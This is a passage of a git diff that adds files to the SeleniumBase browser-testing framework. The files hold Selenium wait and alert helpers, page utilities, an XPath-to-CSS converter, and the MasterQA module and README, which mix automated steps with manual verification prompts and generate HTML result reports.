+                element = None
+                raise Exception()
+        except Exception:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    if not element and by != By.LINK_TEXT:
+        raise ElementNotVisibleException(
+            "Element {%s} was not visible after %s seconds!" % (
+                selector, timeout))
+    if not element and by == By.LINK_TEXT:
+        raise ElementNotVisibleException(
+            "Link text {%s} was not visible after %s seconds!" % (
+                selector, timeout))
+
+
+def wait_for_text_visible(driver, text, selector, by=By.CSS_SELECTOR,
+                          timeout=settings.LARGE_TIMEOUT):
+    """
+    Searches for the specified element by the given selector. Returns the
+    element object if the text is present in the element and visible
+    on the page. Raises an exception if the text or element do not appear
+    in the specified timeout.
+    @Params
+    driver - the webdriver object (required)
+    text - the text that is being searched for in the element (required)
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    timeout - the time to wait for elements in seconds
+    @Returns
+    A web element object that contains the text searched for
+    """
+
+    element = None
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            element = driver.find_element(by=by, value=selector)
+            if element.is_displayed():
+                if text in element.text:
+                    return element
+                else:
+                    element = None
+                    raise Exception()
+        except Exception:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    if not element:
+        raise ElementNotVisibleException(
+            "Expected text {%s} for {%s} was not visible after %s seconds!" %
+            (text, selector, timeout))
+
+
+def wait_for_element_absent(driver, selector, by=By.CSS_SELECTOR,
+                            timeout=settings.LARGE_TIMEOUT):
+    """
+    Searches for the specified element by the given selector.
+    Raises an exception if the element is still present after the
+    specified timeout.
+    @Params
+    driver - the webdriver object
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    timeout - the time to wait for elements in seconds
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            driver.find_element(by=by, value=selector)
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+        except Exception:
+            return True
+    raise Exception("Element {%s} was still present after %s seconds!" %
+                    (selector, timeout))
+
+
+def wait_for_element_not_visible(driver, selector, by=By.CSS_SELECTOR,
+                                 timeout=settings.LARGE_TIMEOUT):
+    """
+    Searches for the specified element by the given selector.
+    Raises an exception if the element is still visible after the
+    specified timeout.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator that is used (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    timeout - the time to wait for the element in seconds
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            element = driver.find_element(by=by, value=selector)
+            if element.is_displayed():
+                now_ms = time.time() * 1000.0
+                if now_ms >= stop_ms:
+                    break
+                time.sleep(0.1)
+            else:
+                return True
+        except Exception:
+            return True
+    raise Exception(
+        "Element {%s} was still visible after %s seconds!" % (
+            selector, timeout))
+
+
+def find_visible_elements(driver, selector, by=By.CSS_SELECTOR):
+    """
+    Finds all WebElements that match a selector and are visible.
+    Similar to webdriver.find_elements.
+    @Params
+    driver - the webdriver object (required)
+    selector - the locator that is used to search the DOM (required)
+    by - the method to search for the locator (Default: By.CSS_SELECTOR)
+    """
+    elements = driver.find_elements(by=by, value=selector)
+    return [element for element in elements if element.is_displayed()]
+
+
+def save_screenshot(driver, name, folder=None):
+    """
+    Saves a screenshot to the current directory (or to a subfolder if provided)
+    If the folder provided doesn't exist, it will get created.
+    """
+    if folder:
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % folder
+        if not os.path.exists(file_path):
+            os.makedirs(file_path)
+        screenshot_file = "%s/%s" % (file_path, name)
+    else:
+        screenshot_file = name
+    driver.get_screenshot_as_file(screenshot_file)
+
+
+def _get_last_page(driver):
+    try:
+        last_page = driver.current_url
+    except Exception:
+        last_page = '[WARNING! Browser Not Open!]'
+    if len(last_page) < 5:
+        last_page = '[WARNING! Browser Not Open!]'
+    return last_page
+
+
+def save_test_failure_data(driver, name, browser_type, folder=None):
+    """
+    Saves failure data to the current directory (or to a subfolder if provided)
+    If the folder provided doesn't exist, it will get created.
+    """
+    if folder:
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % folder
+        if not os.path.exists(file_path):
+            os.makedirs(file_path)
+        failure_data_file_path = "%s/%s" % (file_path, name)
+    else:
+        failure_data_file_path = name
+    failure_data_file = codecs.open(failure_data_file_path, "w+", "utf-8")
+    last_page = _get_last_page(driver)
+    data_to_save = []
+    data_to_save.append("Last_Page: %s" % last_page)
+    data_to_save.append("Browser: %s " % browser_type)
+    data_to_save.append("Traceback: " + ''.join(
+        traceback.format_exception(sys.exc_info()[0],
+                                   sys.exc_info()[1],
+                                   sys.exc_info()[2])))
+    failure_data_file.writelines("\r\n".join(data_to_save))
+    failure_data_file.close()
+
+
+def wait_for_ready_state_complete(driver, timeout=settings.EXTREME_TIMEOUT):
+    """
+    The DOM (Document Object Model) has a property called "readyState".
+    When the value of this becomes "complete", page resources are considered
+    fully loaded (although AJAX and other loads might still be happening).
+    This method will wait until document.readyState == "complete".
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            ready_state = driver.execute_script("return document.readyState")
+        except WebDriverException:
+            # Bug fix for: [Permission denied to access property "document"]
+            time.sleep(0.03)
+            return True
+        if ready_state == u'complete':
+            time.sleep(0.01)  # Better be sure everything is done loading
+            return True
+        else:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    raise Exception(
+        "Page elements never fully loaded after %s seconds!" % timeout)
+
+
+def wait_for_and_accept_alert(driver, timeout=settings.LARGE_TIMEOUT):
+    """
+    Wait for and accept an alert. Returns the text from the alert.
+    @Params
+    driver - the webdriver object (required)
+    timeout - the time to wait for the alert in seconds
+    """
+    alert = wait_for_and_switch_to_alert(driver, timeout)
+    alert_text = alert.text
+    alert.accept()
+    return alert_text
+
+
+def wait_for_and_dismiss_alert(driver, timeout=settings.LARGE_TIMEOUT):
+    """
+    Wait for and dismiss an alert. Returns the text from the alert.
+    @Params
+    driver - the webdriver object (required)
+    timeout - the time to wait for the alert in seconds
+    """
+    alert = wait_for_and_switch_to_alert(driver, timeout)
+    alert_text = alert.text
+    alert.dismiss()
+    return alert_text
+
+
+def wait_for_and_switch_to_alert(driver, timeout=settings.LARGE_TIMEOUT):
+    """
+    Wait for a browser alert to appear, and switch to it. This should be usable
+    as a drop-in replacement for driver.switch_to.alert when the alert box
+    may not exist yet.
+    @Params
+    driver - the webdriver object (required)
+    timeout - the time to wait for the alert in seconds
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            alert = driver.switch_to.alert
+            # Raises exception if no alert present
+            dummy_variable = alert.text  # noqa
+            return alert
+        except NoAlertPresentException:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    raise Exception("Alert was not present after %s seconds!" % timeout)
+
+
+def switch_to_frame(driver, frame, timeout=settings.SMALL_TIMEOUT):
+    """
+    Wait for an iframe to appear, and switch to it. This should be usable
+    as a drop-in replacement for driver.switch_to.frame().
+    @Params
+    driver - the webdriver object (required)
+    frame - the frame element, name, or index
+    timeout - the time to wait for the alert in seconds
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    for x in range(int(timeout * 10)):
+        try:
+            driver.switch_to.frame(frame)
+            return True
+        except NoSuchFrameException:
+            now_ms = time.time() * 1000.0
+            if now_ms >= stop_ms:
+                break
+            time.sleep(0.1)
+    raise Exception("Frame was not present after %s seconds!" % timeout)
+
+
+def switch_to_window(driver, window, timeout=settings.SMALL_TIMEOUT):
+    """
+    Wait for a window to appear, and switch to it. This should be usable
+    as a drop-in replacement for driver.switch_to.window().
+    @Params
+    driver - the webdriver object (required)
+    window - the window index or window handle
+    timeout - the time to wait for the window in seconds
+    """
+
+    start_ms = time.time() * 1000.0
+    stop_ms = start_ms + (timeout * 1000.0)
+    if isinstance(window, int):
+        for x in range(int(timeout * 10)):
+            try:
+                window_handle = driver.window_handles[window]
+                driver.switch_to.window(window_handle)
+                return True
+            except IndexError:
+                now_ms = time.time() * 1000.0
+                if now_ms >= stop_ms:
+                    break
+                time.sleep(0.1)
+        raise Exception("Window was not present after %s seconds!" % timeout)
+    else:
+        window_handle = window
+        for x in range(int(timeout * 10)):
+            try:
+                driver.switch_to.window(window_handle)
+                return True
+            except NoSuchWindowException:
+                now_ms = time.time() * 1000.0
+                if now_ms >= stop_ms:
+                    break
+                time.sleep(0.1)
+        raise Exception("Window was not present after %s seconds!" % timeout)
diff --git a/SeleniumBase/seleniumbase/fixtures/page_utils.py b/SeleniumBase/seleniumbase/fixtures/page_utils.py
new file mode 100755
index 00000000..12861b23
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/page_utils.py
@@ -0,0 +1,52 @@
+"""
+This module contains useful utility methods.
+"""
+import requests
+
+
+def jq_format(code):
+    """
+    Use before throwing raw code such as 'div[tab="advanced"]' into jQuery.
+    Selectors with quotes inside of quotes would otherwise break jQuery.
+    This is similar to "json.dumps(value)", but with one less layer of quotes.
+    """
+    code = code.replace('\\', '\\\\').replace('\t', '\\t').replace('\n', '\\n')
+    code = code.replace('\"', '\\\"').replace('\'', '\\\'')
+    code = code.replace('\v', '\\v').replace('\a', '\\a').replace('\f', '\\f')
+    code = code.replace('\b', '\\b').replace('\u', '\\u').replace('\r', '\\r')
+    return code
+
+
+def get_domain_url(url):
+    """
+    Use this to convert a url like this:
+    https://blog.xkcd.com/2014/07/22/what-if-book-tour/
+    Into this:
+    https://blog.xkcd.com
+    """
+    url_header = url.split('://')[0]
+    simple_url = url.split('://')[1]
+    base_url = simple_url.split('/')[0]
+    domain_url = url_header + '://' + base_url
+    return domain_url
+
+
+def is_xpath_selector(selector):
+    """
+    A basic method to determine if a selector is an xpath selector.
+    """
+    if (selector.startswith('/') or
+            selector.startswith('./') or
+            selector.startswith('(')):
+        return True
+    return False
+
+
+def _download_file_to(file_url, destination_folder, new_file_name=None):
+    if new_file_name:
+        file_name = new_file_name
+    else:
+        file_name = file_url.split('/')[-1]
+    r = requests.get(file_url)
+    with open(destination_folder + '/' + file_name, "wb") as code:
+        code.write(r.content)
diff --git a/SeleniumBase/seleniumbase/fixtures/tools.py b/SeleniumBase/seleniumbase/fixtures/tools.py
new file mode 100755
index 00000000..06f275b4
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/tools.py
@@ -0,0 +1,9 @@
+"""
+This module imports all the commonly used fixtures in one place so that
+every test doesn't need to import a number of different fixtures.
+"""
+
+from seleniumbase.fixtures.page_actions import *  # noqa
+from seleniumbase.fixtures.page_utils import *  # noqa
+from seleniumbase.fixtures.errors import *  # noqa
+from seleniumbase.fixtures.xpath_to_css import *  # noqa
diff --git a/SeleniumBase/seleniumbase/fixtures/xpath_to_css.py b/SeleniumBase/seleniumbase/fixtures/xpath_to_css.py
new file mode 100755
index 00000000..b58032a9
--- /dev/null
+++ b/SeleniumBase/seleniumbase/fixtures/xpath_to_css.py
@@ -0,0 +1,127 @@
+"""
+Convert XPath selectors into CSS selectors
+"""
+
+import re
+
+_sub_regexes = {
+    "tag": "([a-zA-Z][a-zA-Z0-9]{0,10}|\*)",
+    "attribute": "[.a-zA-Z_:][-\w:.]*(\(\))?)",
+    "value": "\s*[\w/:][-/\w\s,:;.]*"
+}
+
+_validation_re = (
+    "(?P<node>"
+    "("
+    "^id\([\"\']?(?P<idvalue>%(value)s)[\"\']?\)"
+    "|"
+    "(?P<nav>//?)(?P<tag>%(tag)s)"
+    "(\[("
+    "(?P<matched>(?P<mattr>@?%(attribute)s=[\"\']"
+    "(?P<mvalue>%(value)s))[\"\']"
+    "|"
+    "(?P<contained>contains\((?P<cattr>@?%(attribute)s,\s*[\"\']"
+    "(?P<cvalue>%(value)s)[\"\']\))"
+    ")\])?"
+    "(\[(?P<nth>\d)\])?"
+    ")"
+    ")" % _sub_regexes
+)
+
+prog = re.compile(_validation_re)
+
+
+class XpathException(Exception):
+    pass
+
+
+def _filter_xpath_grouping(xpath):
+    """
+    This method removes the outer parentheses for xpath grouping.
+    The xpath converter will break otherwise.
+    Example:
+    "(//button[@type='submit'])[1]" becomes "//button[@type='submit'][1]"
+    """
+
+    # First remove the first open parentheses
+    xpath = xpath[1:]
+
+    # Next remove the last closed parentheses
+    index = xpath.rfind(')')
+    if index == -1:
+        raise XpathException("Invalid or unsupported Xpath: %s" % xpath)
+    xpath = xpath[:index] + xpath[index+1:]
+    return xpath
+
+
+def _get_raw_css_from_xpath(xpath):
+    css = ""
+    position = 0
+
+    while position < len(xpath):
+        node = prog.match(xpath[position:])
+        if node is None:
+            raise XpathException("Invalid or unsupported Xpath: %s" % xpath)
+        match = node.groupdict()
+
+        if position != 0:
+            nav = " " if match['nav'] == "//" else " > "
+        else:
+            nav = ""
+
+        tag = "" if match['tag'] == "*" else match['tag'] or ""
+
+        if match['idvalue']:
+            attr = "#%s" % match['idvalue'].replace(" ", "#")
+        elif match['matched']:
+            if match['mattr'] == "@id":
+                attr = "#%s" % match['mvalue'].replace(" ", "#")
+            elif match['mattr'] == "@class":
+                attr = ".%s" % match['mvalue'].replace(" ", ".")
+            elif match['mattr'] in ["text()", "."]:
+                attr = ":contains(^%s$)" % match['mvalue']
+            elif match['mattr']:
+                if match["mvalue"].find(" ") != -1:
+                    match["mvalue"] = "\"%s\"" % match["mvalue"]
+                attr = "[%s=%s]" % (match['mattr'].replace("@", ""),
+                                    match['mvalue'])
+        elif match['contained']:
+            if match['cattr'].startswith("@"):
+                attr = "[%s*=%s]" % (match['cattr'].replace("@", ""),
+                                     match['cvalue'])
+            elif match['cattr'] == "text()":
+                attr = ":contains(%s)" % match['cvalue']
+        else:
+            attr = ""
+
+        if match['nth']:
+            nth = ":nth-of-type(%s)" % match['nth']
+        else:
+            nth = ""
+
+        node_css = nav + tag + attr + nth
+        css += node_css
+        position += node.end()
+    else:
+        css = css.strip()
+        return css
+
+
+def convert_xpath_to_css(xpath):
+    if xpath.startswith('('):
+        xpath = _filter_xpath_grouping(xpath)
+
+    css = _get_raw_css_from_xpath(xpath)
+
+    attribute_defs = re.findall('(\[\w+\=\S+\])', css)
+    for attr_def in attribute_defs:
+        if (attr_def.count('[') == 1 and attr_def.count(']') == 1 and
+                attr_def.count('=') == 1 and attr_def.count('"') == 0 and
+                attr_def.count("'") == 0) and attr_def.count(' ') == 0:
+            # Now safe to manipulate
+            q1 = attr_def.find('=') + 1
+            q2 = attr_def.find(']')
+            new_attr_def = attr_def[:q1] + "'" + attr_def[q1:q2] + "']"
+            css = css.replace(attr_def, new_attr_def)
+
+    return css
diff --git a/SeleniumBase/seleniumbase/masterqa/ReadMe.md b/SeleniumBase/seleniumbase/masterqa/ReadMe.md
new file mode 100755
index 00000000..1c699a2e
--- /dev/null
+++ b/SeleniumBase/seleniumbase/masterqa/ReadMe.md
@@ -0,0 +1,56 @@
+# MasterQA
+
+### MasterQA combines SeleniumBase automation with manual verification to greatly improve the productivity and sanity of QA teams.
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/hybrid_screen.png "MasterQA")
+
+Here's some example code from [basic_masterqa_test.py](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/basic_masterqa_test.py):
+
+```python
+self.open("http://xkcd.com/1700/")
+self.verify("Do you see a webcomic?")
+self.click_link_text('Store')
+self.click_link_text('all the things')
+self.verify("Do you see items for sale?")
+self.update_text("input.search-input", "Robots\n")
+self.verify("Do you see robots in the search results?")
+```
+
+After the web browser performs various automated actions, a pop-up window will ask the tester questions for each verification command. *(See the screenshot below)*
+
+![](http://cdn2.hubspot.net/hubfs/100006/xkcd_new_bug_chrome3.png "MasterQA Example")
+
+At the end of a full test run, as seen from [this longer example](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/masterqa_test.py), you'll see a results page that appears after responding to all the verification questions. (Failed verifications generate links to screenshots and log files.)
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/masterqa_gif.gif)
+
+You may have noticed the ``Incomplete Test Runs`` row on the results page. If the value for that is not zero, it means that one of the automated steps failed. This could happen if you tell your script to perform an action on an element that doesn't exist. Now that we're mixing automation with manual QA, it's good to tell apart the failures from each. The results_table CSV file contains a spreadsheet with the details of each failure (if any) for both manual and automated steps.
+
+#### How to run the example tests from scratch:
+```bash
+git clone https://github.com/seleniumbase/SeleniumBase.git
+cd SeleniumBase
+pip install -r requirements.txt
+python setup.py install
+cd examples
+nosetests basic_masterqa_test.py --with-selenium
+nosetests masterqa_test.py --with-selenium
+```
+
+At the end of your test run, you'll receive a report with results, screenshots, and log files. Close the Results Page window when you're done.
+
+### Check out [masterqa_test.py](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/masterqa_test.py) to learn how to write your own MasterQA tests:
+
+You'll notice that tests are written based on [SeleniumBase](http://seleniumbase.com), with the key difference of using a different import: ``from seleniumbase import MasterQA`` rather than ``from seleniumbase import BaseCase``. Now the test class will import ``MasterQA`` instead of ``BaseCase``.
+
+To add a manual verification step, use ``self.verify()`` in the code after each part of the script that needs manual verification. If you want to include a custom question, add text inside that call (in quotes). Example:
+
+```python
+self.verify()
+
+self.verify("Can you find the moon?")
+```
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/masterqa_logo-11.png "MasterQA")
+
+MasterQA is powered by [SeleniumBase](http://seleniumbase.com), the most advanced open-source automation platform on the [Planet](https://en.wikipedia.org/wiki/Earth).
diff --git a/SeleniumBase/seleniumbase/masterqa/__init__.py b/SeleniumBase/seleniumbase/masterqa/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/masterqa/master_qa.py b/SeleniumBase/seleniumbase/masterqa/master_qa.py
new file mode 100755
index 00000000..777bdb31
--- /dev/null
+++ b/SeleniumBase/seleniumbase/masterqa/master_qa.py
@@ -0,0 +1,325 @@
+import os
+import shutil
+import sys
+import time
+from selenium.common.exceptions import WebDriverException
+from selenium.webdriver.remote.errorhandler import NoAlertPresentException
+from seleniumbase import BaseCase
+from seleniumbase.core.style_sheet import style
+from seleniumbase.config import settings
+
+LATEST_REPORT_DIR = settings.LATEST_REPORT_DIR
+ARCHIVE_DIR = settings.REPORT_ARCHIVE_DIR
+RESULTS_PAGE = settings.HTML_REPORT
+BAD_PAGE_LOG = settings.RESULTS_TABLE
+DEFAULT_VALIDATION_MESSAGE = settings.MASTERQA_DEFAULT_VALIDATION_MESSAGE
+WAIT_TIME_BEFORE_VERIFY = settings.MASTERQA_WAIT_TIME_BEFORE_VERIFY
+START_IN_FULL_SCREEN_MODE = settings.MASTERQA_START_IN_FULL_SCREEN_MODE
+MAX_IDLE_TIME_BEFORE_QUIT = settings.MASTERQA_MAX_IDLE_TIME_BEFORE_QUIT
+
+# This tool allows testers to quickly verify pages while assisted by automation
+
+
+class __MasterQATestCase__(BaseCase):
+
+    def get_timestamp(self):
+        return str(int(time.time() * 1000))
+
+    def manual_check_setup(self):
+        self.manual_check_count = 0
+        self.manual_check_successes = 0
+        self.incomplete_runs = 0
+        self.page_results_list = []
+        self.clear_out_old_logs(archive_past_runs=False)
+
+    def clear_out_old_logs(self, archive_past_runs=True, get_log_folder=False):
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+        if not os.path.exists(file_path):
+            os.makedirs(file_path)
+
+        if archive_past_runs:
+            archive_timestamp = int(time.time())
+            if not os.path.exists("%s/../%s/" % (file_path, ARCHIVE_DIR)):
+                os.makedirs("%s/../%s/" % (file_path, ARCHIVE_DIR))
+            archive_dir = "%s/../%s/log_%s" % (
+                file_path, ARCHIVE_DIR, archive_timestamp)
+            shutil.move(file_path, archive_dir)
+            os.makedirs(file_path)
+            if get_log_folder:
+                return archive_dir
+        else:
+            # Just delete bad pages to make room for the latest run.
+            filelist = [f for f in os.listdir(
+                "./%s" % LATEST_REPORT_DIR) if f.startswith("failed_") or (
+                f == RESULTS_PAGE) or (f.startswith("automation_failure")) or (
+                f == BAD_PAGE_LOG)]
+            for f in filelist:
+                os.remove("%s/%s" % (file_path, f))
+
+    def manual_page_check(self, *args):
+        if not args:
+            instructions = DEFAULT_VALIDATION_MESSAGE
+        else:
+            instructions = str(args[0])
+
+        # Give the human enough time to see the page first
+        wait_time_before_verify = WAIT_TIME_BEFORE_VERIFY
+        if self.verify_delay:
+            wait_time_before_verify = float(self.verify_delay)
+        time.sleep(wait_time_before_verify)
+        question = "Approve?"
+        if instructions and "?" not in instructions:
+            question = instructions + " Approve?"
+        elif instructions and "?" in instructions:
+            question = instructions
+
+        if self.browser == 'ie':
+            text = self.execute_script(
+                '''if(confirm("%s")){return "Success!"}
+                else{return "Failure!"}''' % question)
+        elif self.browser == 'chrome':
+            self.execute_script('''if(confirm("%s"))
+                {window.master_qa_result="Success!"}
+                else{window.master_qa_result="Failure!"}''' % question)
+            time.sleep(0.05)
+            self.wait_for_special_alert_absent()
+            text = self.execute_script('''return window.master_qa_result''')
+        else:
+            try:
+                self.execute_script(
+                    '''if(confirm("%s")){window.master_qa_result="Success!"}
+                    else{window.master_qa_result="Failure!"}''' % question)
+            except WebDriverException:
+                # Fix for https://github.com/mozilla/geckodriver/issues/431
+                pass
+            time.sleep(0.05)
+            self.wait_for_special_alert_absent()
+            text = self.execute_script('''return window.master_qa_result''')
+        self.manual_check_count += 1
+        if "Success!" in text:
+            self.manual_check_successes += 1
+            self.page_results_list.append(
+                '"%s","%s","%s","%s","%s","%s","%s","%s"' % (
+                    self.manual_check_count,
+                    "Success",
+                    "-",
+                    self.driver.current_url,
+                    self.browser,
+                    self.get_timestamp()[:-3],
+                    instructions,
+                    "*"))
+            return 1
+        else:
+            bad_page_name = "failed_check_%s.jpg" % self.manual_check_count
+            self.save_screenshot(bad_page_name, folder=LATEST_REPORT_DIR)
+            self.page_results_list.append(
+                '"%s","%s","%s","%s","%s","%s","%s","%s"' % (
+                    self.manual_check_count,
+                    "FAILED!",
+                    bad_page_name,
+                    self.driver.current_url,
+                    self.browser,
+                    self.get_timestamp()[:-3],
+                    instructions,
+                    "*"))
+            return 0
+
+    def wait_for_special_alert_absent(self, timeout=MAX_IDLE_TIME_BEFORE_QUIT):
+        for x in range(int(timeout * 20)):
+            try:
+                alert = self.driver.switch_to_alert()
+                dummy_variable = alert.text  # Raises exception if no alert
+                if "?" not in dummy_variable:
+                    return
+                time.sleep(0.05)
+            except NoAlertPresentException:
+                return
+        self.driver.quit()
+        raise Exception(
+            "%s seconds passed without human action! Stopping..." % timeout)
+
+    def add_failure(self, exception=None):
+        exc_info = None
+        if exception:
+            if hasattr(exception, 'msg'):
+                exc_info = exception.msg
+            elif hasattr(exception, 'message'):
+                exc_info = exception.message
+            else:
+                exc_info = '(Unknown Exception)'
+
+        self.incomplete_runs += 1
+        error_page = "automation_failure_%s.jpg" % self.incomplete_runs
+        self.save_screenshot(error_page, folder=LATEST_REPORT_DIR)
+        self.page_results_list.append(
+            '"%s","%s","%s","%s","%s","%s","%s","%s"' % (
+                "ERR",
+                "ERROR!",
+                error_page,
+                self.driver.current_url,
+                self.browser,
+                self.get_timestamp()[:-3],
+                "-",
+                exc_info))
+        try:
+            # Return to the original window if another was opened
+            self.driver.switch_to_window(self.driver.window_handles[1])
+            self.driver.close()
+            self.driver.switch_to_window(self.driver.window_handles[0])
+        except Exception:
+            pass
+
+    def add_bad_page_log_file(self):
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+        log_file = "%s/%s" % (file_path, BAD_PAGE_LOG)
+        f = open(log_file, 'w')
+        h_p1 = '''"Num","Result","Screenshot","URL","Browser","Epoch Time",'''
+        h_p2 = '''"Verification Instructions","Additional Info"\n'''
+        page_header = h_p1 + h_p2
+        f.write(page_header)
+        for line in self.page_results_list:
+            f.write("%s\n" % line)
+        f.close()
+
+    def add_results_page(self, html):
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+        results_file_name = RESULTS_PAGE
+        results_file = "%s/%s" % (file_path, results_file_name)
+        f = open(results_file, 'w')
+        f.write(html)
+        f.close()
+        return results_file
+
+    def process_manual_check_results(self, auto_close_results_page=False):
+        perfection = True
+        failures_count = self.manual_check_count - self.manual_check_successes
+        print "\n\n*** Test Result: ***"
+        if self.manual_check_successes == self.manual_check_count:
+            pass
+        else:
+            print "WARNING!!! There were page issues detected!"
+            perfection = False
+
+        if self.incomplete_runs > 0:
+            print "WARNING!!! Not all tests finished running!"
+            perfection = False
+
+        if perfection:
+            print "SUCCESS!!! Everything checks out OKAY!"
+        else:
+            pass
+        self.add_bad_page_log_file()  # Includes successful results
+
+        log_string = self.clear_out_old_logs(get_log_folder=True)
+        log_folder = log_string.split('/')[-1]
+        abs_path = os.path.abspath('.')
+        file_path = abs_path + "/%s" % ARCHIVE_DIR
+        log_path = "%s/%s" % (file_path, log_folder)
+        web_log_path = "file://%s" % log_path
+
+        tf_color = "#11BB11"
+        if failures_count > 0:
+            tf_color = "#EE3A3A"
+
+        ir_color = "#11BB11"
+        if self.incomplete_runs > 0:
+            ir_color = "#EE3A3A"
+
+        summary_table = '''<div><table><thead><tr>
+              <th>TESTING SUMMARY</th>
+              <th>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</th>
+              </tr></thead><tbody>
+              <tr style="color:#00BB00"><td>CHECKS PASSED: <td>%s</tr>
+              <tr style="color:%s"     ><td>CHECKS FAILED: <td>%s</tr>
+              <tr style="color:#4D4DDD"><td>TOTAL VERIFICATIONS: <td>%s</tr>
+              <tr style="color:%s"     ><td>INCOMPLETE TEST RUNS: <td>%s</tr>
+              </tbody></table>''' % (self.manual_check_successes,
+                                     tf_color,
+                                     failures_count,
+                                     self.manual_check_count,
+                                     ir_color,
+                                     self.incomplete_runs)
+
+        summary_table = '''<h1 id="ContextHeader" class="sectionHeader" title="">
+                     %s</h1>''' % summary_table
+
+        log_link_shown = '../%s%s/' % (
+            ARCHIVE_DIR, web_log_path.split(ARCHIVE_DIR)[1])
+        csv_link = '%s/%s' % (web_log_path, BAD_PAGE_LOG)
+        csv_link_shown = '%s' % BAD_PAGE_LOG
+        log_table = '''<p><p><p><p><h2><table><tbody>
+            <tr><td>LOG FILES LINK:&nbsp;&nbsp;<td><a href="%s">%s</a></tr>
+            <tr><td>RESULTS TABLE:&nbsp;&nbsp;<td><a href="%s">%s</a></tr>
+            </tbody></table></h2><p><p><p><p>''' % (
+            web_log_path, log_link_shown, csv_link, csv_link_shown)
+
+        failure_table = '<h2><table><tbody></div>'
+        any_screenshots = False
+        for line in self.page_results_list:
+            line = line.split(',')
+            if line[1] == '"FAILED!"' or line[1] == '"ERROR!"':
+                if not any_screenshots:
+                    any_screenshots = True
+                    failure_table += '''<thead><tr>
+                        <th>SCREENSHOT FILE&nbsp;&nbsp;&nbsp;&nbsp;</th>
+                        <th>LOCATION OF FAILURE</th>
+                        </tr></thead>'''
+                display_url = line[3]
+                if len(display_url) > 60:
+                    display_url = display_url[0:58] + '...'
+                line = '<a href="%s">%s</a>' % (
+                    "file://" + log_path + '/' + line[2], line[2]) + '''
+                    &nbsp;&nbsp;&nbsp;&nbsp;<td>
+                    ''' + '<a href="%s">%s</a>' % (line[3], display_url)
+                line = line.replace('"', '')
+                failure_table += '<tr><td>%s</tr>\n' % line
+        failure_table += '</tbody></table>'
+        table_view = '%s%s%s' % (
+            summary_table, log_table, failure_table)
+        report_html = '<html><head>%s</head><body>%s</body></html>' % (
+            style, table_view)
+        results_file = self.add_results_page(report_html)
+        archived_results_file = log_path + '/' + RESULTS_PAGE
+        shutil.copyfile(results_file, archived_results_file)
+        print "\n*** The results html page is located at: ***\n" + results_file
+        self.open("file://%s" % archived_results_file)
+        if auto_close_results_page:
+            # Long enough to notice the results before closing the page
+            wait_time_before_verify = WAIT_TIME_BEFORE_VERIFY
+            if self.verify_delay:
+                wait_time_before_verify = float(self.verify_delay)
+            time.sleep(wait_time_before_verify)
+        else:
+            # The user can decide when to close the results page
+            print "\n*** Close the html report window to continue ***"
+            while len(self.driver.window_handles):
+                time.sleep(0.1)
+
+
+class MasterQA(__MasterQATestCase__):
+
+    def setUp(self):
+        self.auto_close_results_page = False
+        super(__MasterQATestCase__, self).setUp()
+        self.manual_check_setup()
+        if START_IN_FULL_SCREEN_MODE:
+            self.maximize_window()
+
+    def verify(self, *args):
+        self.manual_page_check(*args)
+
+    def auto_close_results(self):
+        ''' If this method is called, the results page will automatically close
+        at the end of the test run, rather than waiting on the user to close
+        the results page manually.
+        '''
+        self.auto_close_results_page = True
+
+    def tearDown(self):
+        if sys.exc_info()[1]:
+            self.add_failure(sys.exc_info()[1])
+        self.process_manual_check_results(self.auto_close_results_page)
+        super(__MasterQATestCase__, self).tearDown()
diff --git a/SeleniumBase/seleniumbase/plugins/__init__.py b/SeleniumBase/seleniumbase/plugins/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/plugins/base_plugin.py b/SeleniumBase/seleniumbase/plugins/base_plugin.py
new file mode 100755
index 00000000..4d37c6d4
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/base_plugin.py
@@ -0,0 +1,188 @@
+"""
+This plugin is for saving logs and setting a test environment.
+Vars include "env" and "log_path".
